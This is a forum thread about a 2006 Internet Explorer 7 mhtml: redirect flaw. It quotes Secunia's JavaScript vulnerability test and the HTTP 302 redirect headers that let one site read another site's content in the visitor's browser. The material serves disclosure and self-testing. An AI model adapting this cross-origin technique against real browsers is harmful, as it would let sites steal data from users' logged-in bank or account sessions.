Of course you do; I'm sure Secunia does too. This "exploit" has obviously been part of IE7 since the beta. Why hasn't anyone mentioned it up until this point? Oh yeah - so Microsoft can have egg on their face.
They have been, and I seem to remember seeing a few (though they may not have been Secunia -- I don't pay much attention to IE vulns, I only saw this because somebody posted it to fun-sec). Secunia is a security research company, there's no benefit for them to screw Microsoft or anybody else.
I'm trying to figure out why this is important.
<script language="JavaScript">
var request;
var tmp;
function StartTest()
{
// Start XML HTTP Request Object
InitXMLHttpRequest();
// Open/
request.open('GET', 'http://secu'+'nia.com/ie_redir_test_1/?' + Math.random(), true);
// Response Handler
request.onreadystatechange = function()
{
// Check if state is '4'
if ( request.readyState == 4 )
{
// Tmp
tmp = request.responseText;
document.getElementById('start').innerHTML = '<a href="javascript:StartTest();"><font color="#000000">Run Test Again - Left Click On This Link</font></a>';
if ( tmp.match(/news.google/) )
{
document.getElementById('result').innerHTML = '<font color="red">Your browser is vulnerable! The test retrieved content from news.google.com in the context of your browser.<br><br>This actually means that if you were logged into your bank account, any web site you are visiting would be able to retrieve confidential data from your bank. This could also be used to retrieve personal settings entered on sites like eBay or Paypal.<br><br><a href="javascript:ViewContent();">View Retrieved Content</a></font>';
alert('Your browser is vulnerable!');
}
else
{
document.getElementById('result').innerHTML = 'Your browser does not appear to vulnerable to this particular exploit.';
alert('Your browser does not appear to vulnerable to this particular exploit.');
}
}
}
// Make the request
request.send(null);
// Display status
document.getElementById('start').innerHTML = 'The test is running. Please wait.';
document.getElementById('result').innerHTML = 'The test is running. Please wait while the test finishes, this may take a few seconds.';
}
// Function for viewing retrieved content (source)
function ViewContent()
{
o = open('', 'new');
o.document.body.innerHTML = tmp;
}
// Function for Initialising the XMLHttpRequest
function InitXMLHttpRequest()
{
try
{
request = new XMLHttpRequest();
} catch (trymicrosoft)
{
try
{
request = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (othermicrosoft)
{
try
{
request = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (failed)
{
request = false;
}
}
}
// Initialised?
if ( !request )
{
alert("Due to limitations of your browser you will not be able to use this page.");
}
}
</script>
I guess I'm just saying that if you're already at the site that's exploiting you....
Did you look at
http://secunia.com/ie_redir_test_1?ie_redir_test_1 returns:
HEAD /ie_redir_test_1 HTTP/1.0
Host: secunia.com
HTTP/1.1 302 Found
Date: Fri, 20 Oct 2006 12:23:47 GMT
Server: Apache
Location: mhtml:http://secunia.com/ie_redir_test_2
Connection: close
Content-Type: text/html
ie_redir_test_2 returns:
HEAD /ie_redir_test_2 HTTP/1.0
Host: secunia.com
HTTP/1.1 302 Found
Date: Fri, 20 Oct 2006 12:24:17 GMT
Server: Apache
Location: http://news.google.com/
Connection: close
Content-Type: text/html
And apparently, the Google link is followed in the background.
What's that mean?
It means that any site you go to can download any specific site you've logged in to. That includes banks, forums, etc. So yes, it's dangerous.
